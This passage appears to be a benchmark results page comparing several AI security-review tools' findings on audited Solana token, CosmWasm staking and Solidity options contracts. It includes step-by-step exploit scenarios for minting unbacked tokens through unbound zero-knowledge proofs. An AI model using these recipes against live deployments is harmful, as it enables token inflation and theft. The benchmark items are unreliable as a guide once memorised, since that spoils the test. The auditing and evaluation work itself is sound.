new_source_available_balance, requirenew_source_available_balance == *new_source_ciphertextand return TokenError::ConfidentialTransferBalanceMismatch otherwise. Do this before storing the new balance, in both the fee and non-fee branches. Add regression tests that supply a proof built against a mismatched balance. Also CWE-863: Pass the proof's resulting source ciphertext (new_source_ciphertext) into process_source_for_transfer for both the TransferData and TransferWithFeeData branches and return TokenError::ConfidentialTransferBalanceMismatch unless the on-chain subtract_with_lo_hi result equals it, before writing available_balance.
Claude Security (Opus 5.5)
Confidential Transfer debits the source without binding the ZK proof's new source balance to the on-chain balance
token/program-2022/src/extension/confidential_transfer/processor.rs:672Predicted severity: Critical- Root cause
-
Vulnerable symbol: process_source_for_transfer
Preconditions: zk-ops feature enabled (it is the default in Cargo.toml); Attacker owns an approved confidential account (automatic on auto-approve mints, or obtainable through the ApproveAccount mint-mismatch bug)
Offending code:
confidential_transfer_account.available_balance = new_source_available_balance;
- Impact
-
An unprivileged attacker can mint unlimited unbacked tokens of any confidential-transfer mint and convert them to public balances. The mint's supply is never increased, so this enables theft from AMMs and lending pools and destroys the token's value.
- Description
-
The VerifyTransfer and VerifyTransferWithFee proofs are stateless: the client builds them from a source balance and ciphertext it chooses (client/src/token.rs:1562-1570), and the proof program never reads the account. The token program subtracts the proof's lo/hi ciphertexts from available_balance (664-672) but never checks that the result equals the proof's range-proven new source ciphertext. Nothing therefore enforces that the sender holds enough funds before the destination is credited (714-744).
- Exploit scenario
-
The attacker configures two token accounts A and B on a confidential-transfer mint. A has a zero confidential balance. The attacker calls TransferData::new(amount = 2^40-1, (fake_balance = 2^40, Enc(2^40) under A's key), A's keypair, ...), which yields a valid VerifyTransfer proof. They submit it together with ConfidentialTransfer::Transfer(A -> B). The proof verifies, the program checks only the pubkeys and subtracts the amount from A's real zero balance (the ciphertext wraps to a 'negative' value), and B's pending balance is credited. The attacker then runs ApplyPendingBalance and Withdraw on B (B's withdraw proof is legitimate against its now-credited balance) to get public tokens. Repeating this mints unlimited tokens. The TransferWithFee path has the same gap.
- Recommendation
-
Pass the proof context's new source ciphertext (TransferData/TransferWithFeeData new_source_ciphertext) into process_source_for_transfer and reject the instruction unless
ops::subtract_with_lo_hi(available_balance, lo, hi) == proof_data.new_source_ciphertext, as Withdraw already does with final_ciphertext.
Vercel Security Review
Confidential transfer proofs are not bound to the source account balance
token/program-2022/src/extension/confidential_transfer/processor.rs:568Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A holder can resubmit a previously valid transfer proof** -
token/program-2022/src/extension/confidential_transfer/processor.rs:568-571```rust title="token/program-2022/src/extension/confidential_transfer/processor.rs:568-571"
let proof_data = decode_proof_instruction::<TransferData>(
ProofInstruction::VerifyTransfer,
&previous_instruction,
)?;
```
**2. The new source handler never compares its resulting ciphertext with the proof's proven remaining balance** -
token/program-2022/src/extension/confidential_transfer/processor.rs:672-676```rust title="token/program-2022/src/extension/confidential_transfer/processor.rs:672-674"
confidential_transfer_account.available_balance = new_source_available_balance;
confidential_transfer_account.decryptable_available_balance =
new_source_decryptable_available_balance;
```
Homomorphic subtraction can therefore drive the actual source balance negative, even though the standalone proof verifies. Both transfer variants use this handler.
**3. The recipient still receives spendable tokens** -
token/program-2022/src/extension/confidential_transfer/processor.rs:714-717```rust title="token/program-2022/src/extension/confidential_transfer/processor.rs:714-717"
let new_destination_pending_balance_lo = ops::add(
&destination_confidential_transfer_account.pending_balance_lo,
destination_ciphertext_lo,
)
```
Repeated transfers followed by recipient application/withdrawal create unbacked public tokens without mint authority, violating supply conservation.
- Exploit scenario
-
Not specified.
- Recommendation
-
For both TransferData and TransferWithFeeData, compare the source account's post-subtraction ciphertext with the remaining-balance ciphertext authenticated by the verified proof before committing either account update. Reject mismatches. Pass the proven ciphertext into the shared source handler and add negative tests for replaying a proof after the source balance changes.
-
Missing check in process_withdraw potentially leading to inflationary bug spl-token-2 · 3 writeups Critical
V12
Withdrawal proof lacks account encryption key binding
token/program-2022/src/extension/confidential_transfer/processor.rs:388Predicted severity: Informational- Root cause
-
The encrypted-to-public withdrawal path treats equality of ciphertext bytes as sufficient proof binding without also binding the verification key to the account's configured
encryption_pubkey. Unlike confidential transfer, it has no explicit key-instance guard. - Impact
-
The specific security question is whether a valid withdrawal proof under a different ElGamal key can certify a different remaining plaintext for a reachable account ciphertext and thereby release more public tokens than the account holds. The missing facts are the exact
WithdrawDatapublic-key binding and verification equations, together with the constructibility of such a reachable ciphertext undersolana-zk-token-sdk1.11.6. Repository-wide Rust searches, the confidential-transfer SDK consumers, and the repository's encryption/proof documentation were inspected; the external SDK implementation was not available, so unauthorized balance creation is not asserted as demonstrated. - Description
-
process_withdrawdecodes aVerifyWithdrawinstruction and compares only its final ciphertext with the result of subtracting the requested public amount from the live available ciphertext. It never compares the proof's encryption key withConfidentialTransferAccount.encryption_pubkey. This differs from the transfer path, which explicitly binds the proof's source key to the stored account key. Because configuration accepts caller-selected encryption-key bytes and later transfers credit ciphertexts under that stored key, ciphertext equality alone leaves the key under which the remaining balance was proved unbound. The missing check is verified, but acceptance of a concrete cross-key over-withdrawal remains unresolved because the external proof verifier implementation is not present in the searched workspace.
Devin Security
Withdraw and EmptyAccount do not check that the proof's ElGamal public key matches the account's key
token/program-2022/src/extension/confidential_transfer/processor.rs:416Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A token account owner can submit a withdraw or close proof made for a different encryption key, and the program accepts it without checking the key; current proof math appears to stop this from creating or destroying tokens, so this is a missing safety check, not a known theft path.
##### What's wrong
This is a missing binding check. The
WithdrawandEmptyAccounthandlers read the zero-knowledge proof from the previous instruction. They compare only the ciphertext in the proof with the account's ciphertext. They never compare the public key in the proof (proof_data.pubkey) with the account'sencryption_pubkey. Every other proof-consuming handler in this file (Transfer,TransferWithFee,WithdrawWithheldTokens*) does check the public key.##### Who can do it
Mallory owns a confidential token account for a mint run by Acme Corp. She builds a
VerifyWithdraworVerifyCloseAccountproof that uses an ElGamal public key she picks, not the key stored on her account. She puts it in front of aWithdraworEmptyAccountinstruction. The program accepts the proof as long as the ciphertext bytes match.- Mallory must own (sign for) the token account being withdrawn from or emptied.
- The
zk-opsfeature must be enabled forWithdraw.- A real exploit also needs Mallory to make a proof under another key that verifies against her account's ciphertext. Under the standard ElGamal equality proof, this looks infeasible unless she can solve discrete logs. I could not confirm this against the exact
solana-zk-token-sdk1.11 verifier source.##### What they get
If a proof can be made to verify under a substitute key, Mallory could withdraw more public tokens than her confidential balance holds. That would mint value out of nothing for Acme's token. She could also close an account that still holds a non-zero confidential balance. My analysis of the proof equations shows the substitute key gives her no extra freedom today. So the practical impact is the loss of a check that the upstream design relies on. It affects only accounts Mallory owns.
##### How it works
1.
process_withdrawdecodesWithdrawDatafrom the previous instruction at processor.rs:388-391.2. It subtracts
amountfromavailable_balanceand compares the result only withproof_data.final_ciphertextat processor.rs:420-426. It never comparesproof_data.pubkeywithencryption_pubkey.3. It then credits
amountto the public balance at processor.rs:430-434.4.
process_empty_accountdecodesCloseAccountDataat processor.rs:233-237 and compares onlyproof_data.ciphertextwithavailable_balanceat processor.rs:249-252. It never checks the key before it zeroes the balance. - Exploit scenario
-
Not specified.
- Recommendation
-
In
process_withdrawandprocess_empty_account, returnTokenError::ConfidentialTransferElGamalPubkeyMismatchwhenproof_data.pubkey != confidential_transfer_account.encryption_pubkey. Run this check before you use the ciphertext. To confirm the fix, add program tests that send a valid proof made for a different ElGamal keypair with matching ciphertext bytes. Both instructions should fail with the mismatch error.
Claude Security (Opus 5.5)
Withdraw does not check that the proof's ElGamal pubkey is the account's key; with an arbitrary key accepted at ConfigureAccount, the owner can withdraw more than the encrypted balance
token/program-2022/src/extension/confidential_transfer/processor.rs:426Predicted severity: High- Root cause
-
Vulnerable symbol: process_withdraw
Preconditions: Mint has ConfidentialTransferMint and the attacker's account is approved; Attacker builds custom proof data (chosen openings and a malformed encryption key); no other privileges needed; Relies on solana-zk-token-sdk 1.11 equality-proof semantics (not vendored; reasoned from the protocol)
Offending code:
if confidential_transfer_account.available_balance != proof_data.final_ciphertext {
- Impact
-
An account owner can withdraw more public tokens than their confidential balance holds, which inflates the token supply without limit.
- Description
-
WithdrawData includes the ElGamal pubkey that the equality and range proof were checked against. process_withdraw only compares final_ciphertext with the on-chain balance minus amount (line 426) and never checks proof_data.pubkey against the account's encryption_pubkey. ConfigureAccount (line 132) stores any 32-byte point as encryption_pubkey with no proof that the owner knows a secret key, so the decrypt handle of an account can carry a G component with a coefficient the attacker knows.
- Exploit scenario
-
1) The attacker configures account B with encryption_pubkey P = G + H, a valid Ristretto point whose discrete log relative to H is unknown and which has a G component. 2) From an honest account A the attacker transfers x (x can be 0) to B. The attacker writes their own proof code and chooses the Pedersen openings so the total randomness is R = -E mod l. The validity proof works for any destination point, and B's on-chain pubkey matches. 3) B runs ApplyPendingBalance, so available = (xG + RH, R(G+H)). 4) The attacker calls Withdraw with amount = x + E. On-chain the final ciphertext becomes (-EG - EH, -EG - EH). The attacker submits a WithdrawData proof under pubkey P' = H (secret s' = 1): C_f - s'·D_f = 0·G, so the equality proof and the range proof on 0 both verify. The program checks only that final_ciphertext matches, then credits x + E public tokens. 5) This mints E tokens, for any E up to the u64 limit, and can be repeated. I derived this from the equality-proof algebra in solana-zk-token-sdk 1.11. The SDK source is not staged, so I could not confirm it in code.
- Recommendation
-
In process_withdraw, and likewise in process_empty_account against CloseAccountData.pubkey, return ConfidentialTransferElGamalPubkeyMismatch unless proof_data.pubkey == confidential_transfer_account.encryption_pubkey. In ConfigureAccount, also require a VerifyPubkeyValidity proof so that only keys of the form s^-1·H with a known secret can be registered.
-
Missing public key check in EmptyAccount leading to deflationary bug spl-token-3 · 3 writeups High
V12
Close proof omits live encryption key binding
token/program-2022/src/extension/confidential_transfer/processor.rs:232Predicted severity: Informational- Root cause
-
process_empty_accountbinds the close proof to ciphertext bytes but does not bind its key context to the account'sencryption_pubkey. Correctness therefore depends on an unverified implication of the external proof implementation rather than a local live-state key check. - Impact
-
The specific security question is whether a close proof valid for the same ciphertext under another encryption key can clear a nonzero balance under the account's configured key and thereby permit closure without redeeming the tokens. The missing facts are the
CloseAccountDatakey inputs, verification equations, and ability to construct such a ciphertext through accepted account transitions insolana-zk-token-sdk1.11.6; repository-wide Rust searches and the available client/tests did not expose that dependency implementation. Owner authorization remains enforced, so this candidate does not establish unauthorized access to another owner's account. - Description
-
process_empty_accountauthenticates the token account owner and loads aVerifyCloseAccountinstruction through the shared proof decoder. Its only equality check between proof data and live confidential state comparesproof_data.ciphertextwithavailable_balance. It never binds the proof's encryption-key context toConfidentialTransferAccount.encryption_pubkeybefore replacing the available ciphertext with canonical zero. The pending and withheld checks prevent clearing those balances, but do not establish that the available ciphertext represents zero under the account's stored key. This is a source-backed missing public-input binding; whether the pinned SDK makes that omission exploitable remains unresolved because its proof implementation is not included in the workspace.
Devin Security
Withdraw and EmptyAccount do not check that the proof's ElGamal public key matches the account's key
token/program-2022/src/extension/confidential_transfer/processor.rs:416Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A token account owner can submit a withdraw or close proof made for a different encryption key, and the program accepts it without checking the key; current proof math appears to stop this from creating or destroying tokens, so this is a missing safety check, not a known theft path.
##### What's wrong
This is a missing binding check. The
WithdrawandEmptyAccounthandlers read the zero-knowledge proof from the previous instruction. They compare only the ciphertext in the proof with the account's ciphertext. They never compare the public key in the proof (proof_data.pubkey) with the account'sencryption_pubkey. Every other proof-consuming handler in this file (Transfer,TransferWithFee,WithdrawWithheldTokens*) does check the public key.##### Who can do it
Mallory owns a confidential token account for a mint run by Acme Corp. She builds a
VerifyWithdraworVerifyCloseAccountproof that uses an ElGamal public key she picks, not the key stored on her account. She puts it in front of aWithdraworEmptyAccountinstruction. The program accepts the proof as long as the ciphertext bytes match.- Mallory must own (sign for) the token account being withdrawn from or emptied.
- The
zk-opsfeature must be enabled forWithdraw.- A real exploit also needs Mallory to make a proof under another key that verifies against her account's ciphertext. Under the standard ElGamal equality proof, this looks infeasible unless she can solve discrete logs. I could not confirm this against the exact
solana-zk-token-sdk1.11 verifier source.##### What they get
If a proof can be made to verify under a substitute key, Mallory could withdraw more public tokens than her confidential balance holds. That would mint value out of nothing for Acme's token. She could also close an account that still holds a non-zero confidential balance. My analysis of the proof equations shows the substitute key gives her no extra freedom today. So the practical impact is the loss of a check that the upstream design relies on. It affects only accounts Mallory owns.
##### How it works
1.
process_withdrawdecodesWithdrawDatafrom the previous instruction at processor.rs:388-391.2. It subtracts
amountfromavailable_balanceand compares the result only withproof_data.final_ciphertextat processor.rs:420-426. It never comparesproof_data.pubkeywithencryption_pubkey.3. It then credits
amountto the public balance at processor.rs:430-434.4.
process_empty_accountdecodesCloseAccountDataat processor.rs:233-237 and compares onlyproof_data.ciphertextwithavailable_balanceat processor.rs:249-252. It never checks the key before it zeroes the balance. - Exploit scenario
-
Not specified.
- Recommendation
-
In
process_withdrawandprocess_empty_account, returnTokenError::ConfidentialTransferElGamalPubkeyMismatchwhenproof_data.pubkey != confidential_transfer_account.encryption_pubkey. Run this check before you use the ciphertext. To confirm the fix, add program tests that send a valid proof made for a different ElGamal keypair with matching ciphertext bytes. Both instructions should fail with the mismatch error.
Claude Security (Opus 5.5)
Withdraw does not check that the proof's ElGamal pubkey is the account's key; with an arbitrary key accepted at ConfigureAccount, the owner can withdraw more than the encrypted balance
token/program-2022/src/extension/confidential_transfer/processor.rs:426Predicted severity: High- Root cause
-
Vulnerable symbol: process_withdraw
Preconditions: Mint has ConfidentialTransferMint and the attacker's account is approved; Attacker builds custom proof data (chosen openings and a malformed encryption key); no other privileges needed; Relies on solana-zk-token-sdk 1.11 equality-proof semantics (not vendored; reasoned from the protocol)
Offending code:
if confidential_transfer_account.available_balance != proof_data.final_ciphertext {
- Impact
-
An account owner can withdraw more public tokens than their confidential balance holds, which inflates the token supply without limit.
- Description
-
WithdrawData includes the ElGamal pubkey that the equality and range proof were checked against. process_withdraw only compares final_ciphertext with the on-chain balance minus amount (line 426) and never checks proof_data.pubkey against the account's encryption_pubkey. ConfigureAccount (line 132) stores any 32-byte point as encryption_pubkey with no proof that the owner knows a secret key, so the decrypt handle of an account can carry a G component with a coefficient the attacker knows.
- Exploit scenario
-
1) The attacker configures account B with encryption_pubkey P = G + H, a valid Ristretto point whose discrete log relative to H is unknown and which has a G component. 2) From an honest account A the attacker transfers x (x can be 0) to B. The attacker writes their own proof code and chooses the Pedersen openings so the total randomness is R = -E mod l. The validity proof works for any destination point, and B's on-chain pubkey matches. 3) B runs ApplyPendingBalance, so available = (xG + RH, R(G+H)). 4) The attacker calls Withdraw with amount = x + E. On-chain the final ciphertext becomes (-EG - EH, -EG - EH). The attacker submits a WithdrawData proof under pubkey P' = H (secret s' = 1): C_f - s'·D_f = 0·G, so the equality proof and the range proof on 0 both verify. The program checks only that final_ciphertext matches, then credits x + E public tokens. 5) This mints E tokens, for any E up to the u64 limit, and can be repeated. I derived this from the equality-proof algebra in solana-zk-token-sdk 1.11. The SDK source is not staged, so I could not confirm it in code.
- Recommendation
-
In process_withdraw, and likewise in process_empty_account against CloseAccountData.pubkey, return ConfidentialTransferElGamalPubkeyMismatch unless proof_data.pubkey == confidential_transfer_account.encryption_pubkey. In ConfigureAccount, also require a VerifyPubkeyValidity proof so that only keys of the form s^-1·H with a known secret can be registered.
-
-
Trufin Rust CosmWasm liquid staking on Injective. Tasks 1 V12 1/1 Codex Sec 0/1 Pashov Opus — Pashov GPT-6 — Devin 0/1 Devin (Deep) 0/1 Claude Sec 0/1 Claude Opus 0/1 Vercel 1/1
CosmWasm liquid staking on Injective.
Read the audit report-
Unstake could be blocked for certain users trufin-1 · 2 writeups Medium
V12
Liquid-only exits emit zero undelegations
contracts/injective-staker/src/contract.rs:1650Predicted severity: Informational- Root cause
-
The reward-funded withdrawal calculation can reduce
actual_amount_to_unstaketo zero, but message construction assumes every funded withdrawal requires a nonzero staking-module undelegation. - Impact
-
If Injective rejects zero-amount undelegations, holders whose backing is entirely liquid cannot redeem through this otherwise-funded path, and claim creation and share burning roll back with the rejected message. The missing fact is the deployed staking module's acceptance rule for
MsgUndelegatewith amount zero; the reviewed contract, message definitions, constants, unstake/claim tests, and repository-wide unbonding searches provide no chain implementation or integration test resolving it. - Description
-
internal_unstakepermits an entitlement to be covered entirely byCONTRACT_REWARDS, but always emitsStakingMsg::Undelegate, including when the selected validator's delegated principal is zero. The delegation query explicitly defaults to(0, 0), and the resource guard can still pass using contract-held rewards. This state can arise after the last ordinary holder withdraws all principal plus net rewards while fee minting leaves treasury shares backed solely by liquid rewards. There is no zero-amount branch that creates and funds the delayed claim without undelegating. The searched repository does not contain the deployed staking module's zero-undelegation validation, so transaction rejection and resulting withdrawal blockage remain a specific unresolved dependency question.
Vercel Security Review
Zero-amount undelegation blocks withdrawals backed only by liquid rewards
contracts/injective-staker/src/contract.rs:1724Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A final depositor exit can exhaust delegated principal while leaving treasury fees liquid: 100 INJ principal, 10 rewards and a 10% fee leave 1 INJ. Subsequent treasury unstaking caps delegated withdrawal at zero.** -
contracts/injective-staker/src/contract.rs:1673-1676```rust title="contracts/injective-staker/src/contract.rs:1673-1676"
if actual_amount_to_unstake > validator_total_staked {
excess_unstaked_amount = actual_amount_to_unstake - validator_total_staked;
actual_amount_to_unstake = validator_total_staked;
}
```
**2. The unconditional Undelegate message uses that zero amount. The staking module rejects it, reverting the burn and claim despite sufficient liquid backing.** -
contracts/injective-staker/src/contract.rs:1726-1729```rust title="contracts/injective-staker/src/contract.rs:1726-1729"
amount: Coin {
denom: INJ.to_string(),
amount: actual_amount_to_unstake.into(),
},
```
**3. With all delegations exhausted, compounding returns before sweeping retained rewards. The remaining holder cannot redeem until somebody supplies another stake.** -
contracts/injective-staker/src/contract.rs:939-941```rust title="contracts/injective-staker/src/contract.rs:939-941"
if total_rewards == 0 {
return Ok(Response::new());
}
```
- Exploit scenario
-
Not specified.
- Recommendation
-
Emit StakingMsg::Undelegate only when actual_amount_to_unstake is positive. Allow rewards-only withdrawals to burn shares and create claims against the already-liquid CONTRACT_REWARDS balance without an undelegation. Also allow compounding to sweep stored rewards when no validator rewards or existing delegations remain.
-
-
Valorem Solidity On-chain options clearinghouse. Tasks 3 V12 3/3 Codex Sec 1/3 Pashov Opus 2/3 Pashov GPT-6 3/3 Devin 1/3 Devin (Deep) 3/3 Claude Sec 1/3 Claude Opus 1/3 Vercel 2/3
On-chain options clearinghouse.
Read the audit report-
Un-encoded claimID can be used in write() valorem-1 · 4 writeups High
V12
Option IDs accepted as irredeemable claim records
src/OptionSettlementEngine.sol:302Predicted severity: High- Root cause
-
writetreats a balance of one as sufficient proof of claim ownership without validating the supplied token's claim-number discriminator. This allows an option token ID to become an inaccessible claim-accounting key. - Impact
-
A validly shaped call can accept collateral while recording its redemption entitlement under an ID that redemption always rejects. Unexercised collateral from that contribution becomes inaccessible after expiry, while ordinary claim owners cannot redeem on the writer's behalf because the contribution is recorded under the option ID.
- Description
-
The existing-claim branch of
writeverifies the parent option key and requires a caller balance of one, but never verifies thatclaimIdhas a nonzero claim number. A caller holding exactly one fungible option can therefore pass that option's own ID as the existingclaimId. The branch updates_claim[optionId]and_claimIdToClaimIndexArray[optionId], mints additional option tokens, and collects collateral without minting a claim token for that contribution.redeemexplicitly rejects the same ID because its claim number is zero. If those new options remain unexercised at expiry, the added collateral has no claim token through which its writer can recover it.
Pashov (Claude Opus 5.5 high)
write() accepts the fungible option ID as claimId, permanently locking the writer's collateral claim
src/OptionSettlementEngine.sol:302Predicted severity: Low- Root cause
-
Missing
claimNum != 0validation on the supplied claimId. The 'owns claim' check uses balance == 1, which an ordinary option balance can also satisfy. - Impact
-
The deposited collateral, and any exercise proceeds assigned to that lot, are recorded under a token ID that redeem() refuses (
claimNum == 0reverts). At expiry, the unexercised underlying and the exercise asset attributed to that lot stay in the contract forever. This affects users and integrating contracts (vaults, routers) that hold one option and pass the wrong ID. - Description
-
When
claimId != 0, write() only checks that the upper 160 bits match the option and that the caller's balance ofclaimIdis exactly 1. It does not check that the lower 96 bits (claimNum) are non-zero. If a caller holds exactly one option token and passesclaimId = optionId, the check passes._claim[optionId]and_claimIdToClaimIndexArray[optionId]are then updated, collateral is pulled in, and only fungible options are minted. - Exploit scenario
-
A router holds 1 option of type X and calls
write(optionId, 1000, optionId)intending to top up a lot. The call succeeds and mints 1000 options, but there is no claim NFT. After expiry, any of the 1000*underlyingAmount collateral that was not exercised cannot be redeemed. - Recommendation
-
In write(), revert if
claimId != 0 && uint96(claimId) == 0. Also requireclaimNum < optionRecord.nextClaimNumand that the claim has not been redeemed.
Pashov (Codex GPT-6 Sol high)
An option token can be used as its own claim ID and locks new collateral
src/OptionSettlementEngine.sol:302Predicted severity: Low- Root cause
-
The existing-claim branch validates ownership and the high 160 bits but omits the low 96-bit claim-number check required for a redeemable claim token.
- Impact
-
A caller who supplies the option ID as the claim ID permanently loses the collateral deposited through that call. The path requires an invalid argument and exactly one option token, which limits its severity.
- Description
-
The overloaded write function checks that an existing claim ID has the same option key and that the caller owns one token with that ID, but never checks that the ID encodes a nonzero claim number. A caller who owns exactly one option token can pass optionId as claimId. The function deposits collateral and mints more options, but records the collateral under a token ID that redeem explicitly rejects.
- Exploit scenario
-
A user holds one option token and calls write(optionId, 1, optionId). The upper-bit comparison succeeds and balanceOf[user][optionId] equals one. The function updates _claim[optionId], credits the bucket, mints one more option, and transfers collateral. At expiry, redeem(optionId) reverts InvalidClaim because its claim number is zero.
- Recommendation
-
For nonzero claimId, require that decodeTokenId(claimId).claimNum is nonzero and that the ID identifies an existing unclaimed claim NFT before accepting additional collateral.
Devin Security (Deep)
write() accepts an option ID as the claimId and creates an unredeemable phantom claim that locks the writer's collateral
src/OptionSettlementEngine.sol:303Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A writer who passes the option ID itself as the claim ID while holding exactly one option token mints new options against collateral that can never be redeemed, so a simple integration mistake permanently loses the deposit.
##### What's wrong
This is a missing input validation bug.
write(optionId, amount, claimId)only checks that the top 160 bits ofclaimIdmatch the option and that the caller's ERC-1155 balance ofclaimIdis exactly 1. It never checks that the low 96 bits are non-zero, soclaimId == optionIdpasses when the caller holds one option token, and the engine records the claim under the option's own ID, whichredeemrejects.##### Who can do it
Alice uses a front end or script at Acme Markets that mistakenly reuses the option ID in the claim field. She holds exactly one option token of that type from an earlier trade. Her call to write 50 more options succeeds and pulls 50 x underlyingAmount plus fee from her wallet.
- Caller holds exactly 1 option token of the option type.
- Caller passes
claimIdequal to the option ID (low 96 bits zero).##### What they get
No attacker gains anything; the harm is loss. Alice receives 50 option tokens, but the matching collateral is tracked under a claim ID with claim number zero, and
redeemreverts withInvalidClaimfor any ID with a zero claim number. Her collateral, and any exercise asset later assigned to it, is stuck in the contract forever. Other writers' payouts stay correct because the phantom claim is accounted for in the bucket totals.##### How it works
1. Alice calls
write(optionId, 50, optionId); the check at src/OptionSettlementEngine.sol:303-305 passes because the upper bits match.2. The ownership check at src/OptionSettlementEngine.sol:337-340 reads
balanceOf[msg.sender][optionId], which is her option token balance of 1, and passes.3. Lines 343-350 update
_claim[optionId]and the claim index under the option ID, and line 365 mints 50 options to her; line 369 pulls the collateral.4.
redeem(optionId)reverts at src/OptionSettlementEngine.sol:438-440 because the claim number is zero, so the collateral is unrecoverable. - Exploit scenario
-
Not specified.
- Recommendation
-
In
write, decodeclaimIdand revert withInvalidClaimwhenclaimId != 0and its claim number is zero (or when it is >=nextClaimNum). Verify with a test thatwrite(optionId, 1, optionId)reverts while a caller holds exactly one option token.
-
Rounding error in the redeem mechanism valorem-2 · 7 writeups High
V12
Whole-contract rounding strands substantial claim payouts
src/OptionSettlementEngine.sol:585Predicted severity: High- Root cause
-
_getAmountExercisedrounds proportional entitlements in whole-contract units before_getPositionsForClaimconverts them to asset units. Independently rounding both categories destroys conservation of a claim's collateral entitlement. - Impact
-
Writers can lose entire claim payouts during partial exercise of a shared bucket, even when the per-option asset amounts are large. After the claim tokens are burned, neither redemption nor fee sweeping provides a path to recover these unallocated principal balances.
- Description
-
_getAmountExercisedindependently rounds a claim's exercised and unexercised allocations down to whole option contracts._getPositionsForClaimonly multiplies those rounded counts by the per-option asset amounts afterward, so the lost fraction can represent substantial collateral rather than token-unit dust. For example, two claims each writing one contract in the same day bucket, followed by one exercise, give each claimfloor(1 * 1 / 2) = 0contracts in both payout categories. At expiry,redeemconsequently pays neither asset to either writer and still burns both claim tokens. This source-level example leaves one contract's underlying collateral and one contract's exercise payment without a redeemable entitlement; it is not a runtime-tested reproduction because the workspace lacks the imported math dependency.
Codex Security (GPT-6 Sol)
Partial exercise can permanently strand writers’ collateral and exercise proceeds
src/OptionSettlementEngine.sol:592Predicted severity: High- Root cause
-
The engine aggregates exercised options by day, then independently floors each claim's proportional exercised and unexercised counts. Those two rounded values need not sum to the claim's written count, and no remainder is allocated before claim destruction.
- Impact
-
An ordinary holder can trigger complete loss for small claims in a shared bucket; no privileged access or unusual token behavior is required.
- Description
-
When multiple one-option claims share a day bucket, exercising one option makes each claim's exercised and unexercised share round down to zero. Redemption burns the claims with no payout, leaving the remaining collateral and paid exercise asset inaccessible.
- Exploit scenario
-
Public writes -> shared day bucket -> public partial exercise -> per-claim floored ratios -> zero payout and claim burn.
- Recommendation
-
Allocate integer exercised counts to claims with a conservation-preserving remainder rule; derive each claim's unexercised count from its written count minus the allocated exercised count before redemption.
Pashov (Codex GPT-6 Sol high)
Independent claim rounding permanently locks both settlement assets
src/OptionSettlementEngine.sol:590Predicted severity: High- Root cause
-
Both pro rata divisions round down independently, and no claim or residual account receives the remainders.
- Impact
-
Writers can permanently lose the underlying collateral and exercise proceeds attributable to their claims. An attacker can cause large aggregate losses by splitting writing into many small claims in the same bucket and exercising a subset of the options.
- Description
-
The engine calculates each claim's exercised and unexercised shares with separate downward rounding. Small claims can receive zero of both assets even though their options were fully collateralized and some were exercised. Redemption then burns the claim NFT, leaving the unpaid assets in the engine without a withdrawal path.
- Exploit scenario
-
Two writers each write one option in the same day bucket. One option is exercised. Each claim computes floor(1*1/2) = 0 exercised and floor(1*1/2) = 0 unexercised. Both claim holders redeem for zero, while one underlying unit and one exercise payment remain trapped.
- Recommendation
-
Allocate integer exercised units to individual claims with a conservation-preserving remainder rule, and derive each claim's unexercised units from its written units. Verify that the sums of all claim payouts equal the bucket's remaining underlying and collected exercise proceeds.
Devin Security (Deep)
Claim payouts round down to whole options, permanently locking up to one option's underlying and exercise asset per claim per day
src/OptionSettlementEngine.sol:592Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Writers who share a day bucket with other writers can lose up to a full option's worth of collateral per bucket on redeem, and the lost tokens are stuck in the contract forever with no way for anyone to recover them.
##### What's wrong
This is a precision loss bug. The engine computes each claim's exercised and unexercised share as whole option counts with
mulDivDown, then multiplies by the per-option asset amounts. The fractional option that is rounded away in each of the two divisions is not paid to anyone and cannot be swept.##### Who can do it
Alice writes 1 WETH/USDC call option (1 WETH underlying, 2000 USDC exercise). Bob writes 2 of the same option type the same day, so all 3 are in one bucket. Carol, any holder, exercises 1 option. Nobody needs to be malicious; this happens in normal use. A griefer can also trigger it deliberately by exercising an amount that does not divide evenly across the bucket.
- Two or more claims share a day bucket (any two writers writing the same option type on the same day).
- The bucket is partially exercised at expiry.
##### What they get
At redeem Alice's exercised share is floor(1 x 1 / 3) = 0 and her unexercised share is floor(2 x 1 / 3) = 0, so she receives nothing; her 1 WETH is lost. Bob receives floor(4 / 3) = 1 WETH and 0 USDC, losing one WETH of value as well. The contract keeps 1 WETH and 2000 USDC that no function, including the admin's
sweepFees, can ever release. In a bucket of two writers with 10 options each and one exercise, each writer loses half an option of underlying and half an option of exercise asset. For option types sized at one WETH or one WBTC per contract this is thousands of dollars per incident, and it recurs for every claim in every partially exercised bucket.##### How it works
1. After expiry, Alice calls
redeem(src/OptionSettlementEngine.sol:435-478), which calls_getPositionsForClaim.2.
_getAmountExercised(src/OptionSettlementEngine.sol:592-602) computesmulDivDown(amountExercised, claim.amountWritten, bucket.amountWritten)and the same for the unexercised count, both floored to whole options.3.
_getPositionsForClaim(src/OptionSettlementEngine.sol:616-617) multiplies those truncated counts byexerciseAmountandunderlyingAmount, so the fractional option is dropped from both payouts.4.
redeemburns the claim NFT at line 459 and transfers only the truncated amounts; the remainder stays in the contract with no path out. - Exploit scenario
-
Not specified.
- Recommendation
-
Do the pro-rata math in asset units instead of option counts:
exerciseAmount += mulDivDown(bucket.amountExercised * optionRecord.exerciseAmount, claim.amountWritten, bucket.amountWritten)and likewise for the underlying with(bucket.amountWritten - bucket.amountExercised) * optionRecord.underlyingAmount. The rounding loss then drops to at most 1 wei per claim per bucket. Verify with a test where Alice writes 1, Bob writes 2, Carol exercises 1, warp past expiry, and assert Alice receives 2/3 of underlyingAmount and 1/3 of exerciseAmount (within 1 wei) and the contract balance after all redeems is only the fee balance plus dust.
Claude Security (Sonnet 5.5)
Both exercised and unexercised shares round down, so partially exercised buckets strand funds and can zero out small claims
src/OptionSettlementEngine.sol:592Predicted severity: Low- Root cause
-
Vulnerable symbol: _getAmountExercised
Preconditions: A bucket is partially exercised; Claim lots are small relative to the bucket total, or option unit sizes are large
Offending code:
_exercised = FixedPointMathLib.mulDivDown(
- Impact
-
